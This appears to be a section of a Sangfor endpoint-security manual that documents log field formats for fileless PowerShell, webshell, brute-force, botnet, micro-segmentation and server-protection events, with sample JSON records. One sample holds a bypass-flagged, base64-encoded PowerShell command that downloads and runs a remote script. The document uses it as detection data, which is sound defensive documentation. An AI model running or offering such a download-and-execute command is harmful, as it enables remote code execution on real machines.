|         |                             |                                                                                                                                                                                                                                                                     |                                                                                                                                                                                                                                                                            |
| Details | Threat<br>Type[fixed]       |                                                                                                                                                                                                                                                                     | Fileless attack                                                                                                                                                                                                                                                            |
|         | Mode of<br>execution[fixed] |                                                                                                                                                                                                                                                                     | PowerShell script detection                                                                                                                                                                                                                                                |
|         | Influence<br>terminal       |                                                                                                                                                                                                                                                                     | Endpoint information                                                                                                                                                                                                                                                       |
|         | Process                     |                                                                                                                                                                                                                                                                     | Process                                                                                                                                                                                                                                                                    |
|         | parameter                   |                                                                                                                                                                                                                                                                     | Parameter                                                                                                                                                                                                                                                                  |

|  |        |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
|--|--------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|  | Engine | <p>"1": "Local Cache",</p> <p>"2": "Behaviour Engine",</p> <p>"3": "File Reputation Database",</p> <p>"4": "Sangfor Cloud-Based Antivirus Engine",</p> <p>"5": "Sangfor Engine Zero",</p> <p>"7": "Gene Analytic Engine",</p> <p>"8": "Ransomware Protection Engine",</p> <p>"9": "Fileless Attack Detection Engine",</p> <p>"10": "Threat Investigation",</p> <p>"11": "Infectious Virus Classification Engine",</p> <p>"12": "Sangfor In-depth Analysis Engine",</p> <p>"13": "File Detection Engine",</p> <p>"14": "Heuristic-Based Engine",</p> <p>"15": "Heuristic-Based Engine",</p> <p>"16": "Sangfor In-depth Analysis Engine",</p> <p>"17": "Gene Analysis Engine",</p> <p>"18": "Memory Virus Detection Engine",</p> <p>"19": "Custom IOC ",</p> <p>"20": "Rootkit Engine",</p> <p>"100": "Threat Investigation",</p> <p>"scan_eng": "Fileless Attack Detection Engine",</p> |
|--|--------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|

|  |                  |                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
|--|------------------|-------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|  | Discovery Method | "find_type": 1,                                       | [0]: _(' -'),<br>[1]: _(' Realtime Protection'),<br>[2]: _(' Manual Scan'),<br>[3]: _(' Scheduled scan'),<br>[4]: _(' NGAF Integration'),<br>[5]: _(' IAG Integration'),<br>[6]: _(' {0} Integration', EPS.sip),<br>[7]: _(' MSS Integration'),<br>[8]: _(' {0} Integration', EPS.xCentral),<br>[9]: _(' Threat Investigation'),<br>[10]: _(' Cloud Compliance Investigation'),<br>[11]: _(' CBSP Integration'),<br>[12]: _(' Quick scan'),<br>[13]: _(' Full scan'),<br>[14]: _(' Custom scan'),<br>[15]: _(' Idle scan'),<br>[16]:<br>_(' Cryptomining/Stubborn Virus Detection') |
|  | Time Detected    |                                                       | Last Detected                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
|  |                  |                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
|  |                  | "_id":<br>"22DFC2671FF03CAA233DBC293244CA9264F46502", |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |

#### Examples:

```
[
  {
    "_id": "F3C09DA0A275148CD64D139E44B204AD13EE8941",
    "threat_name": "powershell script detection",
    "found_time": 1676304600,
    "time": 1676303863,
    "state": "Pending",
    "find_type": 1,
    "threat_process": "c:\\windows\\system32\\windowpowershell\\v1.0\\powershell.exe",
    "threat_process_params":
    "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.EXE -ep bypass -e
```

```
SQBFAFgAIAAoAETESTTESTTESTTESTUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACk
ALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAAnAGgAdAB0AHAAOgAv
ACNTGYKERGRJKTRWgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBF
AFIARABPAE0AQQBJAE4AKQA=",
    "agent_id": "3815169755",
    "event_type": "Powershell detection",
    "scan_eng": "Fileless Attack Detection Engine",
    "host_name": "WIN-VKGJD337IDL",
    "iplist": "10.62.26.198"
}
]
```

## 4.5 Security Log - Intrusion Detection - Webshell

|                          | No. | Security Event                                                  | Infected Entity                                              | Last Detected       | Status  | Operation                                   |
|--------------------------|-----|-----------------------------------------------------------------|--------------------------------------------------------------|---------------------|---------|---------------------------------------------|
| <input type="checkbox"/> | 21  | Backdoor.PHP.MlVirus<br><span>High</span> <span>WebShell</span> | c:\users\test_virus\php\0e69587cd28b8ffc8c8b4b85cacdabc.php  | 2023-12-15 16:18:23 | Pending | <a href="#">Fix</a> <a href="#">Analyze</a> |
| <input type="checkbox"/> | 22  | Backdoor.PHP.MlVirus<br><span>High</span> <span>WebShell</span> | c:\users\test_virus\php\0e79d091d395fb6eafa861e5f8802837.php | 2023-12-15 16:18:23 | Pending | <a href="#">Fix</a> <a href="#">Analyze</a> |

### Log Type: webshell

Details

Malicious File Name **Backdoor.PHP.MlVirus** High

Infected Entity: c:\users\test\_virus\php\0e69587cd28b8ffc8c8b4b85cacdabc.php [Download](#)

Threat Type: WebShell

Security Engine: local:wsk3.0

Detection Method: Realtime Protection

Antivirus DB: -

File Type: WebShell-infected file

File Size: 67.5 KB

File MD5: 0e69587cd28b8ffc8c8b4b85cacdabc

Time Created: 2017-11-01 00:00:00

---

**Recommendations** If this is non-system file, please quarantine or delete it and enhance directory permission settings.

Close

|                   | Meaning          | Reported Data                                                         | Explain |
|-------------------|------------------|-----------------------------------------------------------------------|---------|
| Event Perspective | Time type[fixed] | "event_type": "WebShell"                                              |         |
|                   | Infected events  | "threat_file":<br>"Backdoor. PHP. MlVirus"                            |         |
|                   | Endpoint Basics  | "agent_id": "3925189646"                                              |         |
|                   |                  | "host_name":<br>"WIN-309LVB612M1"                                     |         |
|                   |                  | "iplist": "10.122.163.51"                                             |         |
|                   | Path             | "file_path":<br>"c:\\wamp\\www\\0dcbe4048a94e115fab3ee73722b2322.php" |         |
|                   | Last Detected    | "found_time": 1672850014,                                             |         |
|                   | Time Fixed       | "time": 1672850014                                                    |         |

|         |                            |                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
|---------|----------------------------|---------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|         | Status                     | "state":<br>"\u672a\u5904\u7406"                  |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
|         |                            |                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| Details | Malicious Files Name       |                                                   | as 【Threat event】                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
|         | Path                       |                                                   | as 【Path】                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
|         | Threat Type                |                                                   | fixed value, webshell                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
|         | Engine                     | "detect_engine":<br>"local:wsk3.0"                |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
|         | Antivirus database version | "virus_db_version":<br>"20221226145650"           |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
|         | File type                  | "file_type":<br>"WebShell\u6587\u4ef6"            | fixed value 【WebShell File】                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
|         | Size                       | "file_size": 29760                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
|         | Md5                        | "file_md5":<br>"4e23253a63fd146399ac1bf79102e807" |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
|         | Find type                  | "find_type": 1                                    | [0]: _(' '),<br>[1]: _(' Realtime Protection'),<br>[2]: _(' Manual Scan'),<br>[3]: _(' Scheduled scan'),<br>[4]: _(' NGAF Integration'),<br>[5]: _(' IAG Integration'),<br>[6]: _(' {0} Integration',<br>EPS.sip),<br>[7]: _(' MSS Integration'),<br>[8]: _(' {0} Integration',<br>EPS.xCentral),<br>[9]: _(' Threat Investigation'),<br>[10]: _(' Cloud Compliance Investigation'),<br>[11]: _(' CBSP Integration'),<br>[12]: _(' Quick scan'),<br>[13]: _(' Full scan'),<br>[14]: _(' Custom scan'),<br>[15]: _(' Idle scan'),<br>[16]:<br>_(' Cryptomining/Stubborn Virus Detection') |
|         | Time Created               | "file_ctime": 1672388793                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
|         |                            |                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |

|  |          |                                                          |  |
|--|----------|----------------------------------------------------------|--|
|  | Event id | "_id":<br>"cb5f3c578507aeb0f6d8d35dcda6df05<br>c70d56ce" |  |
|--|----------|----------------------------------------------------------|--|

**Examples:**

```
[
  {
    "_id": "FAKERTJLWS000287C1AECED5B15016763392850",
    "detect_engine": "local:wsk3.0",
    "virus_db_version": "20221226145650",
    "file_path": "c:\\wamp\\www\\0dcbe4048a94e115fab3ee73722b2322.php",
    "threat_file": "faker.tjl.Backdoor.PHP",
    "file_ctime": 1672388793,
    "file_size": 29760,
    "file_md5": "4e23253a63fd146399ac1bf79102e807",
    "host_name": "sangfor",
    "find_type": 1,
    "state": "Pending",
    "agent_id": "2684023760",
    "found_time": 1676339285,
    "time": 1676339285,
    "event_type": "WebShell",
    "file_type": "WebShell file",
    "iplist": "10.122.163.32"
  }
]
```

## 4.6 Security Log - Intrusion Detection - Brute-Force Attacks

|                          |   |           |     |           |         |                     |                           |                       |                        |
|--------------------------|---|-----------|-----|-----------|---------|---------------------|---------------------------|-----------------------|------------------------|
| <input type="checkbox"/> | 1 | 10.99.0.4 | SSH | faker_tli | sangfor | 2023-02-14 09:40:20 | <a href="#">Blacklist</a> | <a href="#">Trust</a> | <a href="#">Ignore</a> |
| <input type="checkbox"/> | 2 | 10.99.0.3 | SSH | faker_tli | sangfor | 2023-02-14 09:40:20 | <a href="#">Blacklist</a> | <a href="#">Trust</a> | <a href="#">Ignore</a> |
| <input type="checkbox"/> | 3 | 10.99.0.2 | SSH | faker_tli | sangfor | 2023-02-14 09:40:20 | <a href="#">Blacklist</a> | <a href="#">Trust</a> | <a href="#">Ignore</a> |
| <input type="checkbox"/> | 4 | 10.99.0.1 | SSH | faker_tli | sangfor | 2023-02-14 09:40:20 | <a href="#">Blacklist</a> | <a href="#">Trust</a> | <a href="#">Ignore</a> |
| <input type="checkbox"/> | 5 | 10.99.0.0 | SSH | faker_tli | sangfor | 2023-02-14 09:40:20 | <a href="#">Blacklist</a> | <a href="#">Trust</a> | <a href="#">Ignore</a> |

### Event

Attack IP: 10.99.0.4

Agent: sangfor(10.122.163.32)

Last Attacked: 2023-02-14 09:40:20

Attack Details: -

Discovery: Realtime Protection

History:

- 2023-02-14 09:40:23 1380 seconds SSH brute force cracking faker\_tli account 103 times
- 2023-02-14 09:40:22 1380 seconds SSH brute force cracking faker\_tli account 103 times
- 2023-02-14 09:40:21 1380 seconds SSH brute force cracking faker\_tli account 103 times
- 2023-02-14 09:40:20 1380 seconds SSH brute force cracking faker\_tli account 103 times

Log Type: anti\_bfa

|                   | Meaning                                 | Reported Data                      | Explain                                                                          |
|-------------------|-----------------------------------------|------------------------------------|----------------------------------------------------------------------------------|
| Event Perspective | Event type[fixed]                       | "event_type": "Brute-force attack" |                                                                                  |
|                   | Information about the attacked terminal | "agent_id": "3675402115"           | Agent id                                                                         |
|                   |                                         | "host_name": "DESKTOP-2B22E70"     | Host name                                                                        |
|                   |                                         | "iplist": "10.122.163.22"          | ip                                                                               |
|                   | Attack source ip                        | "att_src": "10.32.36.34"           |                                                                                  |
|                   | Brute-force attack type                 | "serv_type": "SMB"                 | 0 RDP Brute-force attack<br>1 SSH Brute-force attack<br>2 SMB Brute-force attack |
|                   | The most recent                         | "user":                            |                                                                                  |

|         |                                                      |                                                         |                                                                                  |
|---------|------------------------------------------------------|---------------------------------------------------------|----------------------------------------------------------------------------------|
|         | account bust                                         | "administrator, admin, sangfor, sshd_server"            |                                                                                  |
|         | Time of the last attack                              | "found_time": 1672681823                                |                                                                                  |
|         | Status                                               | "state": "Pending"                                      |                                                                                  |
|         |                                                      |                                                         |                                                                                  |
| Details | Attack Details                                       |                                                         | Attack history data accumulation                                                 |
|         | Discovery Method[fixed]                              |                                                         | Realtime Protection                                                              |
|         |                                                      |                                                         |                                                                                  |
|         | Attack history:<br>[Take the 20 most recent attacks] |                                                         |                                                                                  |
|         | Number of attacks                                    | "att_times": 2520                                       |                                                                                  |
|         | Duration                                             | "duration": "3134"                                      |                                                                                  |
|         | Attack tDuration                                     | "found_time": 1671768549                                |                                                                                  |
|         | Block Duration                                       | "freeze_user_time": 0                                   |                                                                                  |
|         | Brute-force attack type                              | "serv_type": "SMB"                                      | 0 RDP Brute-force attack<br>1 SSH Brute-force attack<br>2 SMB Brute-force attack |
|         | Success freeze                                       | "succ_freeze": 0                                        |                                                                                  |
|         | Brute-force attack account                           | "user":<br>"admin, sangfor, sshd_server, administrator" |                                                                                  |
|         |                                                      |                                                         |                                                                                  |
|         |                                                      |                                                         |                                                                                  |
|         | Event id                                             | "_id":<br>"20078d6ed902b434a3586c61e7b7dd637c595773"    |                                                                                  |
|         |                                                      | "att_times": 1                                          |                                                                                  |
|         | Time Detected                                        | "time": 1672708959                                      |                                                                                  |

#### Examples:

```
[
  {
    "_id": "FAKERTJLAT000287C1AECED5B15016763388204",
    "found_time": 1676338820,
    "user": "faker_tjl",
    "agent_id": "2684023760",
```

```

"att_times": 110,
"serv_type": "SSH",
"state": "Pending",
"time": 1676338820,
"att_src": "10.99.0.4",
"event_type": "Brute-force attack",
"detail": [
  {
    "duration": "1380",
    "user": "faker_tjl",
    "serv_type": "SSH",
    "freeze_user_time": 30,
    "succ_freeze": 1,
    "found_time": 1676338823,
    "att_times": 103
  },
  {
    "duration": "1380",
    "user": "faker_tjl",
    "serv_type": "SSH",
    "freeze_user_time": 30,
    "succ_freeze": 1,
    "found_time": 1676338822,
    "att_times": 102
  },
  {
    "duration": "1380",
    "user": "faker_tjl",
    "serv_type": "SSH",
    "freeze_user_time": 30,
    "succ_freeze": 1,
    "found_time": 1676338821,
    "att_times": 101
  },
  {
    "duration": "1380",
    "user": "faker_tjl",
    "serv_type": "SSH",
    "freeze_user_time": 30,
    "succ_freeze": 1,
    "found_time": 1676338820,
    "att_times": 100
  }
],

```

```
    "host_name": "sangfor",  
    "iplist": "10.122.163.32"  
  }  
]
```

## 4.7 Security Log - Intrusion Detection - Botnet

| No | MaliceAddr          | Agent           | Agent status | Asset User                                             | Process | Access Count | File Count | Pending Count | Some are pending    | Status           | Operator        |
|----|---------------------|-----------------|--------------|--------------------------------------------------------|---------|--------------|------------|---------------|---------------------|------------------|-----------------|
| 1  | testdomain.edrt.com | WIN-309LVB612M1 | Online       | c:\users\administrator\desktop\domaintool\y64\child... |         | 14391        | 2          | 2             | 2023-01-10 20:23... | Pending          | details analyse |
| 2  | testdomain.edrt.com | WIN-309LVB612M1 | Online       | c:\users\administrator\desktop\domaintool\y64\child... |         | 7618         | 6          | 5             | 2023-01-03 19:34... | Some are pending | details analyse |
| 3  | testdomain.edrt.com | WIN-309LVB612M1 | Online       | c:\users\administrator\desktop\domaintool\y64\child... |         | 14391        | 4          | 4             | 2023-01-10 20:22... | Pending          | details analyse |
| 4  | testdomain.edrt.com | WIN-309LVB612M1 | Online       | c:\users\administrator\desktop\domaintool\y64\child... |         | 14391        | 5          | 5             | 2023-01-10 20:22... | Pending          | details analyse |

  

|                              |                                                                |
|------------------------------|----------------------------------------------------------------|
| Malicious domain information |                                                                |
| Doma:                        | testdomain.edrt.com <span>Malicious</span> <span>Ransom</span> |
| Count:                       | 7618                                                           |
| access time:                 | 2022-12-29 11:04:27                                            |
| Last time:                   | 2023-01-03 19:34:20                                            |
| Found type:                  | NGAF Integration                                               |

  

Malicious domain information

Call file(3)

|                          |              |                |         |                           |                        |            |             |            |                 |         |                        |
|--------------------------|--------------|----------------|---------|---------------------------|------------------------|------------|-------------|------------|-----------------|---------|------------------------|
| <input type="checkbox"/> | zlib1.dll    | Unknown        | Cont... | c:\users\administrator... | b1f7e338336bb6f352...  | applica... | zlib dat... | Sangfor... | 2022-12-29 1... | Pending | <a href="#">Handle</a> |
| <input type="checkbox"/> | msvcr100...  | Unknown        | Cont... | c:\windows\system32...    | aed6d63cfa5a3ef7021... | applica... | Microso...  | Microso... | 2010-03-18 0... | Pending | <a href="#">Handle</a> |
| <input type="checkbox"/> | libeay32.dll | HackTool.Wi... | Low     | c:\users\administrator... | 0b096a5c2c8c91f04f8... | applica... | OpenSS...   | Sangfor... | 2022-12-29 1... | Pending | <a href="#">Handle</a> |

Parent process

|                          |              |         |         |                           |                       |            |   |   |                 |         |                        |
|--------------------------|--------------|---------|---------|---------------------------|-----------------------|------------|---|---|-----------------|---------|------------------------|
| <input type="checkbox"/> | botnetsim... | Unknown | Cont... | c:\users\administrator... | 965c4e575c7d4572ab... | applica... | - | - | 2022-12-29 1... | Pending | <a href="#">Handle</a> |
|--------------------------|--------------|---------|---------|---------------------------|-----------------------|------------|---|---|-----------------|---------|------------------------|

### Log Type: botnet

|                      | Meaning              | Reported Data                                                                                    | Explain                                                                    |
|----------------------|----------------------|--------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------|
|                      |                      |                                                                                                  |                                                                            |
| Event Perspective    | Malicious address    | "domain_name":<br>"testdomain.edrt.com"                                                          |                                                                            |
|                      | Event level          | "event_risk_level": 1                                                                            | [2]: _('High threat'),<br>[1]: _('Medium threat'),<br>[0]: _('Low threat') |
|                      | Virus type           | "event_risk_type":<br>"Ransomware"                                                               |                                                                            |
|                      | Endpoint information | "agent_id": "3925189646"                                                                         |                                                                            |
|                      |                      | "host_name":<br>"WIN-309LVB612M1"                                                                |                                                                            |
|                      |                      | "iplist": "10.122.163.51"                                                                        |                                                                            |
|                      | Process              | "file_path":<br>"c:\\users\\administrator\\desktop\\domaintool\\x64\\childproc\\test_le9mwv.exe" |                                                                            |
| Cumulative number of | "count": 7616        |                                                                                                  |                                                                            |

|  |                                                 |                                |                                                                                                                                                                                                                                                              |
|--|-------------------------------------------------|--------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|  | visits                                          |                                |                                                                                                                                                                                                                                                              |
|  | Total number of files associated with a process | "file_count": 7                |                                                                                                                                                                                                                                                              |
|  | Unhandle file count                             | "unhandle_file_count": 6       |                                                                                                                                                                                                                                                              |
|  | Last visit                                      | "last_access_time": 1672745565 |                                                                                                                                                                                                                                                              |
|  | Status                                          | "state": 11                    | 0 //Pending<br>11 //Some are pending<br>12 //Fixed                                                                                                                                                                                                           |
|  |                                                 |                                |                                                                                                                                                                                                                                                              |
|  | domain                                          |                                | already have                                                                                                                                                                                                                                                 |
|  | Cumulative Number of visits                     |                                | already have                                                                                                                                                                                                                                                 |
|  | First access time                               | "found_time": 1672283095       |                                                                                                                                                                                                                                                              |
|  | Last access time                                |                                | already have                                                                                                                                                                                                                                                 |
|  | Discovery Method                                | "find_type": 1                 | 0: _('EDR'),<br>1: _('NGAF Integration')                                                                                                                                                                                                                     |
|  |                                                 |                                |                                                                                                                                                                                                                                                              |
|  | The process that initiates the access           | current_process                | These three fields are three arrays that contain process or file information for the fields listed below                                                                                                                                                     |
|  | Call file                                       | module_file                    |                                                                                                                                                                                                                                                              |
|  | Parent process                                  | parent_process                 |                                                                                                                                                                                                                                                              |
|  |                                                 |                                |                                                                                                                                                                                                                                                              |
|  | Process/associated file                         |                                | Path contains                                                                                                                                                                                                                                                |
|  | Threat identification                           | "risk_type":<br>["", "..."]    | If the identification result is unknown, there is no value. If the identification result is a virus, it is a string array of the virus type:<br>miner Cryptomining<br>ransom Ransomware<br>worm Worm<br>trojan Trojan<br>webshell webshell<br>undefine Other |

|  |                      |                                                                                     |                                                                                                                                                                                                                                                                                                                                   |
|--|----------------------|-------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|  | File path            | "path":<br>"c:\\users\\administrator\\desktop\\<br>domaintool\\x64\\dll\\zlib1.dll" |                                                                                                                                                                                                                                                                                                                                   |
|  | File md5             | "md5":<br>"b1f7e338336bb6f352278b0782d2c3d0"                                        |                                                                                                                                                                                                                                                                                                                                   |
|  | File type            | "type": 2                                                                           | [0]: _('Another file'),<br>[1]: _('Application program'),<br>[2]: _('Application extension'),<br>[3]: _('System file'),<br>[4]: _('ActiveX control'),<br>[5]: _('MS-DOS Application<br>program'),<br>[6]: _('virtual device driver')                                                                                              |
|  | desc                 | "desc": "zlib data<br>compression and ZIP file I/O library"                         |                                                                                                                                                                                                                                                                                                                                   |
|  | File size            | "size": 112384                                                                      |                                                                                                                                                                                                                                                                                                                                   |
|  | Digital<br>Signature | "sign": "Sangfor<br>Technologies Inc."                                              |                                                                                                                                                                                                                                                                                                                                   |
|  | Create time          | "ctime": 1672283008                                                                 |                                                                                                                                                                                                                                                                                                                                   |
|  | Status               | "state": 0                                                                          | 0); //Pending<br>1); //Isolated<br>successfully<br>2); //Failed to isolate<br>3); //Trusted<br>4); //Ignored<br>5); //Fixing<br>6); //Restoring<br>7); //Deleting<br>8); //Deleted successfully<br>9); //Failed to restore<br>10); //Configuration file<br>restored successfully<br>11); //Deleted successfully<br>12); //Untrust |
|  |                      |                                                                                     |                                                                                                                                                                                                                                                                                                                                   |
|  | Event id             | "_id":<br>"bce0c1664b8f61a80d7f46d256b032150fc<br>200a0"                            |                                                                                                                                                                                                                                                                                                                                   |
|  | Time Detected        | "time": 1672826171                                                                  |                                                                                                                                                                                                                                                                                                                                   |

#### Examples:

[

```

{
  "_id": "FAKERTJLAT000287C1AECED5B15016763402140",
  "agent_id": "2684023760",
  "file_path":
"c:\\users\\administrator\\desktop\\domaintool\\x64\\childproc\\test_le9mwv.exe",
  "count": 1001,
  "found_time": 1676340214,
  "last_access_time": 1672745565,
  "file_count": 5,
  "unhandle_file_count": 5,
  "event_risk_level": 1,
  "event_risk_type": "Ransomware",
  "domain_name": "faker.tjl.16763402140.com",
  "time": 1676340214,
  "state": 11,
  "current_process": [
    {
      "path":
"c:\\users\\administrator\\desktop\\domaintool\\x64\\childproc\\test_le9mwv.exe",
      "size": 189446,
      "md5": "d4ed19a8acd9df02123f655fa1e8a8e7",
      "type": 1,
      "desc": "",
      "sign": "",
      "ctime": 1676340214,
      "state": 0
    }
  ],
  "parent_process": [
    {
      "path":
"c:\\users\\administrator\\desktop\\domaintool\\x64\\botnetsimtool.exe",
      "size": 2360320,
      "md5": "965c4e575c7d4572ab1b6d7e2e26445a",
      "type": 1,
      "desc": "",
      "sign": "",
      "ctime": 1676340214,
      "state": 0
    }
  ],
  "module_file": [
    {
      "path": "c:\\users\\administrator\\desktop\\domaintool\\x64\\dll\\pcrc2-8.dll",

```

```

        "size": 430848,
        "md5": "a7e3841e2be78e876ece1cc7959d810b",
        "type": 2,
        "desc": "",
        "sign": "Sangfor Technologies Inc.",
        "ctime": 1676340214,
        "state": 0
    }
],
"find_type": 1,
"host_name": "sangfor",
"iplist": "10.122.163.32"
}
]

```

## 4.8 Security Log - Micro-Segmentation

The micro isolation traffic logs were reported

| No | Last visit           | Visitor    | Src Process             | IP address   | Service Provider | Dst Process | Dst IP          | Service       | Size   | Name             | Action |
|----|----------------------|------------|-------------------------|--------------|------------------|-------------|-----------------|---------------|--------|------------------|--------|
| 1  | 2019-08-15 17:53:... | WIN8_1_X64 | System                  | 10.122.79.94 | Default Internet | -           | 8.8.8.8         | ping(ICMP)    | 6.2 Kb | Default outbound | Allow  |
| 2  | 2019-08-15 17:53:... | WIN8_1_X64 | C:\Windows\system32\... | 10.122.79.94 | Default Internet | -           | 114.114.114.114 | dns-u(udp:53) | 4.6 Mb | Default outbound | Allow  |

**Log Type: flux\_log**

| Field |                                                                                  |
|-------|----------------------------------------------------------------------------------|
| a     | Visitor                                                                          |
| b     | Service Provider                                                                 |
| c     | Source IP                                                                        |
| d     | Src Process                                                                      |
| e     | Dst Process                                                                      |
| f     | Dst IP                                                                           |
| g     | Port                                                                             |
| h     | Communication mode                                                               |
| i     | Service                                                                          |
| j     | Policy Name                                                                      |
| k     | Action                                                                           |
| s     | EDR Device ID of the management platform, used to distinguish multiple platforms |
| m     | Traffic size *8kb                                                                |
| u     | Visitor type                                                                     |
| v     | Service provider type                                                            |

|          |                |
|----------|----------------|
| l        | Reporting time |
| o        | Src agent ID   |
| p        | Dst agent ID   |
| _id      | Event ID       |
| srv_type | Server type    |
| srv_id   | Server ID      |

#### Examples:

```
[
  {
    "_id": {
      "$oid": "60f9351a53de43781d57d1fd"
    },
    "a": "DESKTOP-IALKGLT",
    "b": "\u9ed8\u8ba4\u4e92\u8054\u7f51",
    "c": "10.122.118.5",
    "d": "C:\Windows\System32\svchost.exe -k utcsvc -p",
    "e": "-",
    "f": "40.74.108.123",
    "g": 443,
    "h": "tcp",
    "i": "https(tcp:443)",
    "j": "\u9ed8\u8ba4\u51fa\u7ad9\u7b56\u7565",
    "k": "\u5141\u8bb8",
    "s": 1512980701958032,
    "t": "-",
    "u": "agent",
    "v": "local_ip",
    "l": 1626945394,
    "o": "899059639",
    "p": "0",
    "q": "-",
    "r": "-",
    "m": 99,
    "srv_type": "0",
    "srv_id": "1512980701958032"
  }
]
```

## 4.9 Security Log - Server Protection

| No. | Time Detected       | Endpoint | IP Address   | Type            | Blocked Process   | Process Path                                       | Original File... | Product Name           | Copyright           | Description |
|-----|---------------------|----------|--------------|-----------------|-------------------|----------------------------------------------------|------------------|------------------------|---------------------|-------------|
| 1   | 2022-08-01 19:04:48 | win      | 10.62.13.102 | Process protect | wmiiprse.exe      | C:\Windows\System32\wbem\WmiPrvSE.exe              | Microsoft® ...   | Microsoft® Windows®... | © Microsoft Corp... | Execute ur  |
| 2   | 2022-08-01 19:04:48 | win      | 10.62.13.102 | Process protect | regedit.exe       | C:\Windows\regedit.exe                             | Microsoft® ...   | Microsoft® Windows®... | © Microsoft Corp... | Execute ur  |
| 3   | 2022-08-01 19:04:48 | win      | 10.62.13.102 | Process protect | testtools.exe     | C:\Users\Administrator\Desktop\tools\testTools.exe | -                | -                      | -                   | Execute ur  |
| 4   | 2022-08-01 19:04:48 | win      | 10.62.13.102 | Process protect | sogouimebroker... | C:\Windows\SysWOW64\IME\SogouPY\SogouIMEBroker.exe | Sogou search     | Sogou search           | © 2022 Sogou.co...  | Execute ur  |

**Log Type: reject\_log**

| reject_log        |                                                                          |
|-------------------|--------------------------------------------------------------------------|
| report_time       | Report time                                                              |
| first_time        | First time                                                               |
| last_time         | Last time                                                                |
| ip                | Ip address                                                               |
| protect_type      | Type                                                                     |
| protect_type      | Name of the blocked process                                              |
| proc_path         | Process Path                                                             |
| old_name          | Original File Name                                                       |
| product_name      | Product Name                                                             |
| bata_info         | Copyright                                                                |
| reject_times      | Reject Times                                                             |
| execl_time        | Excel time                                                               |
| agent_name        | Agent time                                                               |
| event_desc        | Event desc                                                               |
| protect_type_desc | Protection Type Description (process protection or directory protection) |
| reject_type       | Status                                                                   |

**Examples:**

```
{
  "first_time": 1659351887,
  "last_time": 1659351887,
  "report_time": 1659351887,
  "ip": "10.32.2.1",
  "protect_type": 1,
  "process_name": "msmpeng.exe",
  "proc_path": "C:\\ProgramData\\Microsoft\\Windows
Defender\\platform\\4.18.1810.5-0\\MsMpEng.exe",
  "old_name": "Microsoft\u00aeWindows\u00aeOperating System",
  "product_name": "Microsoft\u00ae Windows\u00ae Operating System",
```

```

    "bata_info": "\u00a9MicrosoftCorporation.Allrights reserved.",
    "reject_times": 1,
    "execl_time": "2022-08-01 19:04:47",
    "agent_name": "win",
    "event_desc": "\u8fd0\u884c\u975e\u767d\u540d\u5355\u8fdb\u7a0b",
    "protect_type_desc": "\u8fdb\u7a0b\u9632\u62a4",
    "reject_type": "\u5df2\u963b\u6b62\u8fd0\u884c"
  }

```

## 4.10 Security Log - Advanced Threat Alerts

Advanced threat alarms and related processes are reported

|  | Severity | Time Detected   | Description                          | Process  | Event Tag   | ATT&CK                    | Detection Source | Event ID       | Threat Intelligence | ... |
|--|----------|-----------------|--------------------------------------|----------|-------------|---------------------------|------------------|----------------|---------------------|-----|
|  | High     | 2023-12-09 1... | The endpoint was implanted with a... | PING.EXE | Command and | Application Layer Prot... | IOC Engine       | 23120908553... | In-Depth Analysis   |     |
|  | High     | 2023-12-09 1... | The endpoint was implanted with a... | PING.EXE | Command and | Application Layer Prot... | IOC Engine       | 23120908553... | In-Depth Analysis   |     |

**Log Type:** adv\_threat\_log

| adv_threat_log           |              |               |                           |
|--------------------------|--------------|---------------|---------------------------|
| agent_id                 |              | string        | Agent id                  |
| alert_id                 |              | string        | Alert id                  |
| risk_type                |              | int32         | Threat Type               |
| alert_level              |              | int32         | Alert level               |
| alert_describe           |              | string        | Alert description         |
| match_pros               |              | array[string] | Process path              |
| attck_msg                |              | object        | Hit the attck             |
| found_time               |              | int64         | Time Detected[agent time] |
